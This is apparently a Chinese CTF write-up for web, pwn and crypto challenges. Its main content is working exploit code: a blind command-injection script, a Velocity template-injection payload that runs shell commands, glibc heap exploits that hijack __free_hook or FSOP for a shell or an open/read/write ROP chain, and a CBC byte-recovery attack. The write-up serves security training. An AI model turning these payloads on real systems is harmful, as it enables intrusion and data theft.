文章目录
misc
签到
直接复制粘贴
whitespace
whitespace语言，附件下载下来直接找一个在线运行网站运行获得flag
https://vii5ard.github.io/whitespace/
web
easyweb
import requests
import time
url = "http://119.3.37.185/"
requests.adapters.DEFAULT_RETRIES = 3 # 最大重连次数防止出问题
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}
SLEEP_TIME = 0.3
kai_shi = time.time()
flag = ""
i = 0 # 计数器
print("[start]: -------")
while (True):
head = 32
tail = 127
i += 1
while (head < tail):
mid = (head + tail) >> 1
payload = '''h3zh1=$( cat /flag.txt |base64 | cut -c %d-%d );if [ $( printf '%%d' "'$h3zh1" ) -gt %d ];then sleep %f;fi''' % (
i, i, mid, SLEEP_TIME)
data = {
"cmd": payload
}
start_time = time.time() # 开始
r = requests.post(url, data=data, headers=headers)
end_time = time.time() # 结束
# print(payload)
if (end_time - start_time > SLEEP_TIME):
head = mid + 1
else:
tail = mid
if head != 32:
flag += chr(head)
print("[+]: " + flag)
else:
break
print("[end]: " + flag)
jie_shu = time.time()
print("程序运行时间:" + str(jie_shu - kai_shi))
#YmluCmJvb3QKZGV2CmV0YwpmbGFnLnR4dApob21lCmxpYgpsaWI2NAptZWRpYQptbnQKb3B0CnBy
#ZmxhZ3traWpidnN0c2JzbnNqMWQ5YmM4fQ==题目中间有一段时间很卡，会影响脚本的判断。
然后就是有些时候因为卡会爆破出来的flag有错
esayseed
扫目录发现index.bak，发现是伪随机数爆破
用这个脚本：
<?php
$pass_now = "vEUHaY";//给出的密钥
$allowable_characters = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ';//字母表
$length = strlen($allowable_characters) - 1;
for ($j = 0; $j <= strlen($pass_now); $j++) {//遍历密钥
for ($i = 0; $i < $length; $i++) {//遍历字母表
if ($pass_now[$j] == $allowable_characters[$i]) {
echo "$i $i 0 $length ";
break;
}
}
}
?>运行的结果用php_mt_seed-4.0爆破出种子718225
<?php
mt_srand(718225);
$lock = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
$key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
function random($length, $chars = '0123456789ABC') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
echo $lock,' ',$key;得到结果用cookie传递过去，加上XFF头127.0.0.1获得flag
zblog
简单java.就是环境卡的要死。
titile参数存在文件读取。后面看源码会发现是任意模板文件渲染的。用的路径拼接。所以路径不能随便构造。先fuzz一下可以找到根目录的位置。读下/proc/self/cmdline。
java -jar /home/ctf/web/target/web-1.0-SNAPSHOT-jar-with-dependencies.jar根据target路径结构看的出来是个maven的架构。那读下pom.xml。发现
<mainClass>Blog</mainClass>加载的主类Blog.class。按照maven默认没有包的结构直接读../../../../src/main/java/Blog.java
import static spark.Spark.*;
import java.io.*;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import spark.template.velocity.VelocityTemplateEngine;
import java.io.StringWriter;
public class Blog {
private static void log(String fname, String content) {
try {
FileWriter writer = new FileWriter(fname, true);
writer.write(content);
writer.close();
} catch (IOException e) {
}
}
public static void main(String[] arg) {
staticFiles.location("/public");
VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "/");
velocityEngine.init();
VelocityContext context = new VelocityContext();
get("/", (request, response) -> {
request.session(true);
String title = request.queryParams("title");
if (title != null) {
log("/tmp/" + request.session().id(), "Client IP: " + request.ip() + " -> File: " + title + "\n");
Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/" + title);
StringWriter sw = new StringWriter();
template.merge(context, sw);
return sw;
}
Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/index");
StringWriter sw = new StringWriter();
template.merge(context, sw);
return sw;
});
}
}逻辑是title参数除了会按值找到对应模板文件渲染。还会将参数按照sessionid存储到tmp/下。那么此处应该先传payload再进行渲染。即可触发ssti达成rce.
简单写个exp
import requests
url='http://122.112.253.135/'
session='node0wjq18duzt9pg4ddli5qyyfqn3034.node0'
id=session.rstrip('.node0')
'''
data={'title':'../../../../src/main/java/Blog.java'}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)
'''
data={'title':"#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('grep -r flag /tmp')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
data={'title':'../../../../../../../tmp/'+id}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)比较狗的就是flag在/tmp下。因为session文件太多进行相关操作直接卡死。一个个试发现最后只有grep -r flag /tmp不会卡。
pwn
veryeasy
首先申请10次块,那个限制就变成-1了,之后几乎没有什么限制了,可以看作普通的UAF的glibc 2.27的题
from pwn import*
context.log_level = 'DEBUG'
def menu(ch):
p.sendlineafter('Your choice :',str(ch))
def new(index,size,content):
menu(1)
p.sendlineafter('id:',str(index))
p.sendlineafter('size:',str(size))
p.sendafter('content:',content)
def edit(index,content):
menu(2)
p.sendlineafter('id:',str(index))
p.sendafter('content:',content)
def free(index):
menu(3)
p.sendlineafter('id:',str(index))
def show(index):
menu(4)
p = process('./main')
p = remote('122.112.225.164',10001)
libc =ELF('./libc-2.27.so')
for i in range(10):
new(i,0xF0,'FMYY')
for i in range(8):
free(0)
edit(0,'\x60\xF7')
new(10,0xF0,'FMYY')
new(11,0xF0,p64(0xFBAD1800) + '\x00'*0x18 + '\xC8')
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
log.info('LIBC:\t' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
edit(0,p64(0)*2)
free(0)
edit(0,p64(free_hook))
new(14,0xF0,'/bin/sh\x00')
new(15,0xF0,p64(system))
free(14)
p.interactive()unknown
add块的时候,有index的负数溢出,用堆块的指针把前面某个块的size覆盖,然后edit 这个size被覆盖的块,就能形成堆溢出,而覆盖会检测覆盖的位置是否为0,所以这个size被覆盖的块申请时size需要为0
from pwn import*
context.log_level = 'DEBUG'
def menu(ch):
p.sendlineafter('Your choice: ',str(ch))
def new(index,size):
menu(1)
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Size: ',str(size))
def edit(index,content):
menu(2)
p.sendlineafter('Index: ',str(index))
p.send(content)
def show(index):
menu(3)
p.sendlineafter('Index: ',str(index))
def free(index):
menu(4)
p.sendlineafter('Index: ',str(index))
p = process('./main')
p = remote('122.112.212.41',6666)
libc = ELF('./libc-2.27.so')
for i in range(8):
new(i,0xF8)
for i in range(8):
free(7 - i)
for i in range(7):
new(i + 1,0xF8)
new(0,0x78)
show(0)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x10 - libc.sym['__malloc_hook'] - 336
log.info('LIBC:\t' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
new(8,0x78)
new(14,0)
new(15,0)
free(15)
new(-2,0x1FF)
edit(14,'\x00'*0x18 + p64(0x21) + p64(free_hook) + '\n')
new(15,0x10)
edit(15,'/bin/sh\x00\n')
new(13,0x10)
edit(13,p64(system) + '\n')
free(15)
p.interactive()fsplayground
和攻防世界的house of grey差不多,但是这个要简单许多,首先从 /proc/self/maps获取libc_base,然后打开/proc/self/mem,属性为1,lseek修改位置为free_hook,然后case 5往free_hook中写入rce即可
from pwn import*
p = process('./main')
libc = ELF('./libc-2.27.so')
p = remote('119.3.111.133',6666)
context.log_level = 'DEBUG'
context.arch = 'AMD64'
def menu(ch):
p.sendlineafter('Your choice:',str(ch))
def O(name,sign):
menu(1)
p.sendlineafter('Filename:',name)
p.sendlineafter('Option:',str(sign))
def C():
menu(2)
def L(off):
menu(3)
p.sendlineafter('Offset: ',str(off))
def R(size):
menu(4)
p.sendlineafter('Size: ',str(size))
def W(size,content):
menu(5)
p.sendlineafter('Size: ',str(size))
p.sendafter('Content: ',content)
O('/proc/self/maps\x00',0)
R(0x800)
p.recvuntil('Content: ')
proc_base = int(p.recv(12),16)
p.recvuntil('7f')
libc_base = int(('7F' + p.recv(10)),16)
log.info('LIBC:\t' + hex(libc_base))
log.info('Proc:\t' + hex(proc_base))
free_hook =libc_base + libc.sym['__free_hook']
rce = libc_base + 0x4F3C2
C()
O('/proc/self/mem\x00',1)
L(free_hook)
W(0x30,p64(rce))
p.interactive()block
感觉我是非预期了,那个2333的选项应该是个后门函数,然而没用到,edit 存在单字节溢出,可以形成 overlap,unsorted bin中存在两个块就能leak libc和heap,然后double free劫持IO_list_all的指针,指向heap上2.24之后FSOP方法,buf base作为rdi,所以布局一下就能利用 setcontext+53 进行沙盒orw了
from pwn import*
#context.log_level = 'DEBUG'
def menu(ch):
p.sendlineafter('Choice >>',str(ch))
def new(tp,size,content):
menu(1)
p.sendlineafter('type:',str(tp))
p.sendlineafter('size',str(size))
'''
big : 0x400 ~
medium: 0x200 ~ 0x400
small : 0 ~ 0x200
ptr[0] = p
ptr[1] = type
ptr[2] = size | 1
ptr[3] = (2 || 4 || 8)*size
'''
p.sendafter('content: ',content)
def free(index):
menu(2)
p.sendlineafter('index: ',str(index))
def show(index):
menu(3)
p.sendlineafter('index: ',str(index))
def edit(index,content):
menu(4)
p.sendlineafter('index: ',str(index))
p.sendafter('content: ',content)
p = process('./main')
p = remote('122.112.204.227',6666)
libc =ELF('./libc-2.27.so')
for i in range(7):
new(3,0x1E0,'FMYY\n')
for i in range(7):
free(i)
for i in range(7):
new(3,0x170,'FMYY\n')
for i in range(7):
free(i)
new(3,0x68,'FMYY\n')
new(3,0x108,'FMYY\n')
new(3,0x68,'FMYY\n') #2
new(3,0x68,'FMYY\n') #3
new(3,0x68,'FMYY\n') #4
new(1,0x500,'FMYY\n') #5
new(3,0x68,'FMYY\n') #6
edit(0,'\x00'*0x68 + '\xF1')
free(1)
new(3,0x108,'FMYY\n')#1
new(3,0x68,'FMYY\n') #7
free(5)
show(3)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base))
p.recv(2)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x28D0 - 0x130
log.info('HEAP:\t' + hex(heap_base))
new(3,0x68,'FMYY\n') #8
free(2)
free(4)
free(7)
IO_list_all = libc_base + libc.sym['_IO_list_all']
IO_str_jumps = libc_base + 0x3E8360
fake_IO_FILE = p64(0) + p64(0)
fake_IO_FILE += p64(0) + p64(0)
fake_IO_FILE += p64(0) + p64(1)
fake_IO_FILE += p64(0) + p64(heap_base + 0x2790 - 0xA0 + 0x130)
fake_IO_FILE = fake_IO_FILE.ljust(0xD8,'\x00')
fake_IO_FILE += p64(IO_str_jumps - 8)
fake_IO_FILE += p64(0) + p64(libc_base + libc.sym['setcontext'] + 53)
pop_rdi_ret = libc_base + 0x000000000002155F
pop_rdx_ret = libc_base + 0x0000000000001B96
pop_rax_ret = libc_base + 0x0000000000043A78
pop_rsi_ret = libc_base + 0x0000000000023E8A
syscall = libc_base + libc.sym['syscall']
ret = libc_base + 0x00000000000008AA
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Puts = libc_base + libc.sym['puts']
FLAG = heap_base + 0x2870 + 0x130
orw = p64(pop_rdi_ret) + p64(FLAG)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(heap_base + 0x2000 + 0x130)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(heap_base + 0x2000 + 0x130)
orw += p64(Puts)
new(3,0x68,p64(libc_base + libc.sym['_IO_list_all'] -0x23) + '\n') #2
new(3,0x68,'./flag\x00\x00\n') #4
new(3,0x68,p64(heap_base + 0x29D0 + 0x130) + p64(ret) + '\n') #7
new(3,0x68,'\x00'*0x13 + p64(heap_base + 0x28E0 + 0x130) + '\n') #9
new(3,0x180,fake_IO_FILE + orw + '\n')
menu(5)
p.interactive()Crypto
confused_flag
疯狂nc，即可得到flag
from pwn import *
while True:
r = remote("119.3.45.222", 9999)
rec = r.recvline().strip()
r.close()
if b"flag" in rec:
print(rec)
break
flag{b09dfe78-df9e-36dd-89a1-b7efb2e19e65}
crypto0
出题人改的我WMCTF出的原题Game。
没什么好说的，就BEAST ATTACK，改改脚本就能得到flag。
# !/usr/bin/env python3
import re, string
from hashlib import sha256
from itertools import product
from pwn import *
def xor(a, b):
return bytes(x^y for x, y in zip(a, b))
def hex2bytes(data):
return bytes.fromhex(data.decode())
r = remote("122.112.254.205", 10003)
# context.log_level = 'debug'
# PoW
# r.recvlines(13) # banner
# rec = r.recvline().decode()
# suffix = re.findall(r'XXXX\+([^\)]+)', rec)[0]
# digest = re.findall(r'== ([^\n]+)', rec)[0]
# print(f"suffix: {suffix} \ndigest: {digest}")
# print('Calculating hash...')
# for i in product(string.ascii_letters + string.digits, repeat=4):
# prefix = ''.join(i)
# guess = prefix + suffix
# if sha256(guess.encode()).hexdigest() == digest:
# print(guess)
# break
# r.sendafter(b'Give me XXXX: ', prefix.encode())
# Attack
# rec = r.recvline().decode()
# IV_hex = re.findall(r'([0-9a-f]{32})', rec)[0]
# IV = bytes.fromhex(IV_hex)
r.recvuntil(b"> ")
r.sendline(b"1")
r.sendlineafter(b"Your message (in hex): ", b"12")
rec = r.recvline().strip().decode()
print(rec)
IV = bytes.fromhex(rec)[-16:]
def getLastBit(known, cipher, IV):
"""
known: first 15 bytes that we know
cipher: Ek(known + ?) where ? is one byte that we want to get
returns (?, IV)
"""
for i in range(256):
r.sendlineafter(b"> ", b"1")
payload = xor(IV, known + bytes([i])) # Ek(known + i) where len(known) = 15, len(i) = 1
r.sendlineafter(b"(in hex): ", payload.hex().encode())
rec = r.recvline(keepends=False)
IV = hex2bytes(rec[-16*2:])
if hex2bytes(rec[:16*2]) == cipher:
return bytes([i]), IV
return None
# Recover byte by byte.
recovered = b""
for k in range(4):
# k=0: secret[0:15] l={15, 14, ..., 1}
# k=1: secret[15:31] l={16, 15, ..., 1}
# k=2: secret[31:47] l={16, 15, ..., 1}
# k=3: secret[47:48] l={16}
start = 15 if k == 0 else 16
end = 15 if k == 3 else 0
for l in range(start, end, -1):
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"(in hex): ", IV[:l].hex().encode())
rec = hex2bytes(r.recvline(keepends=False))
if k == 0:
known = b"\x00"*l + xor(IV[l:-1], recovered)
last_byte = IV[-1:]
cipher, IV = rec[:16], rec[-16:]
else:
known_IV, cipher, IV = rec[16*(k-1):16*k], rec[16*k:16*(k+1)], rec[-16:]
known = xor(known_IV, recovered[-15:])
last_byte = known_IV[-1:]
byte, IV = getLastBit(known, cipher, IV)
recovered += xor(byte, last_byte)
print(recovered.hex(), len(recovered))
# Get flag.
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"(in hex): ", recovered.hex().encode())
print(r.recvline(keepends=False))
r.close()
flag{1f5205a05b6f4e28478b79e681d6ae25508b785a48}
最新评论